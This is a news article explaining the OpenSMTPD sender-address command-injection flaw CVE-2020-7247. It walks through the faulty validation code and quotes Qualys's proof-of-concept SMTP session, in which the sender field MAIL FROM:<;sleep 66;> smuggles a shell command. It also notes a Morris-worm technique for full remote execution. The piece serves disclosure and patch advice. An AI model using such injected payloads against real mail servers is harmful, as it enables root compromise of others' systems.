Anatomy of OpenBSD's OpenSMTPD hijack hole: How a malicious sender address can lead to remote pwnage

Function accidentally returns OK instead of no-way

Code dive The OpenBSD project's OpenSMTPD can be potentially hijacked by a maliciously crafted incoming email.

Infosec biz Qualys discovered and this week disclosed CVE-2020-7247, a root privilege-escalation and remote code execution flaw in OpenSMTPD. It can be exploited locally by a normal user to execute shell commands as root, if using the daemon's default configuration, or locally and remotely if the daemon is using its "uncommented" default configuration, in which it listens on all interfaces and accepts external mail. Getting root access means it's game over: the machine is now yours.

This bug is bad news for anyone running a public-facing, external-mail-accepting OpenSMTPD deployment. Check for security updates to close the hole, apply this patch, or disable the daemon. The version shipping with OpenBSD 6.6, the latest available, and Debian testing, aka Bullseye, are vulnerable to attack; other releases may be as well. The bug dates back to May 2018.

How it went wrong

After it receives an email, OpenSMTPD invokes a mail delivery agent to place the incoming message in the recipient's inbox on the system. The delivery agent is invoked by OpenSMTPD executing a shell command, which includes the sender's address as a command-line parameter. The sender's address was supplied by whichever email client earlier connected to OpenSMTPD to send the message.

Passing this address straight to the shell as a parameter is dangerous because hackers can exploit this to inject extra commands to be executed. To avoid this, OpenSMTPD has a string called MAILADDR_ALLOWED that defines the non-alpha-numeric characters allowed in a valid address. In addition, the string MAILADDR_ESCAPE contains characters that are converted to a colon character to neutralize any special characters that attempt to inject extra commands or parameters.

Thus, an address is valid if it contains only alpha-numeric characters, full-stops, and anything else in MAILADDR_ALLOWED. And anything that's also in MAILADDR_ESCAPE gets converted to a colon. Thus, whatever sender address is supplied by an email client, it can't smuggle in extra commands.

Unfortunately, OpenSMTPD's sender address validation code, smtp_mailaddr(), accidentally jumps the gun and approves dangerous sender addresses that can inject arbitrary commands into delivery agent invocations. An email address has two parts, the local part and the domain part. For corrections@theregister.co.uk, corrections is the local part, and theregister.co.uk is the domain part. If the sender's address has an invalid local part, and an empty domain part, smtp_mailaddr() tries to helpfully add a default domain to the address, and then just OKs the string for use on the command line, ignoring the fact the local part is invalid.

And so, if you place invalid special characters in the local part that inject commands into the command line that's supposed to invoke the delivery agent, it'll all sail through when it's not supposed to.

Here's the C code at the heart of the security blunder – smtp_mailaddr() should return the value 1 for a valid address and 0 for an invalid address when checking the address in the string pointed to by maddr:

2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218     if (!valid_localpart(maddr->user) ||
2219         !valid_domainpart(maddr->domain)) {
....
2229             if (maddr->domain[0] == '\0') {
2230                     (void)strlcpy(maddr->domain, domain,
2231                         sizeof(maddr->domain));
2232                     return (1);
2233             }
2234             return (0);
2235     }
2236
2237     return (1);
2238 }

"If the local part of an address is invalid (line 2218) and if its domain name is empty (line 2229), then smtp_mailaddr() adds the default domain automatically (line 2230) and returns 1 (line 2232), although it should return 0 because the local part of the address is invalid (for example, because it contains invalid characters)," the Qualys team explained in its summary.

"As a result, an attacker can pass dangerous characters that are not in MAILADDR_ALLOWED and not in MAILADDR_ESCAPE (';' and ' ' in particular) to the shell that executes the [mail delivery agent] command."

Exploitation is trivial

To exploit this on your own deployment, connect to your local OpenSMTPD server using Netcat. The following interaction, provided by Qualys as a proof of concept, is just what your email client would go through with the server behind the scenes, though in this case, we'll abuse the sender address field. Run nNetcat with:

$ nc 127.0.0.1 25

And the daemon will introduce itself:

220 obsd66.example.org ESMTP OpenSMTPD

Reply by saying hello to the software:

HELO professor.falken

It acknowledges you:

250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you

Here comes the magic. Inject the command sleep 66 to make the software pause for 66 seconds, using ; to escape from the delivery agent invocation:

MAIL FROM:<;sleep 66;>

And that's it. The agent invocation command passed to the shell by OpenSMTPD will look something like /usr/libexec/mail.local -f ;sleep 66; followed by the rest of the command, which will probably fail as it's malformed having been cut in half by the ;...; injection sequence.

All we care about is the first semicolon ending the mail.local invocation prematurely so that our slipped-in sleep 66 runs, and the second semicolon walling off the rest of the invocation command from affecting our injected command.

With that sent, the server replies:

250 2.0.0 Ok

Great, it's accepted. Play out the rest of the message delivery, such as setting the recipient and message contents:

RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

How about a nice game of chess?
.
250 2.0.0 e6330998 Message accepted for delivery
QUIT
221 2.0.0 Bye

And with that, the agent command will be run, including our injected sleep.

Interestingly, Qualys said the vulnerability was thought to be much more limited when it was first found: achieving non-trivial command execution is difficult due to various restrictions in place. However, the team were inspired by the 1988 Morris worm's abuse of the DEBUG vulnerability in Sendmail to achieve full remote-code execution.

"Exploitation of the vulnerability had some limitations in terms of local part length (max 64 characters is allowed) and characters to be escaped (“$”, “|”)," said Animesh Jain, Qualys vulnerability signatures product manager.

"Qualys researchers were able to overcome these limitations using a technique from the Morris Worm (one of the first computer worms distributed via the Internet, and the first to gain significant mainstream media attention) by executing the body of the mail as a shell script in Sendmail."

Admins are advised to update their software and installations as soon as possible. ®

Sponsored: Detecting cyber attacks as a small to medium business

SUBSCRIBE TO OUR WEEKLY TECH NEWSLETTER


Biting the hand that feeds IT © 1998–2020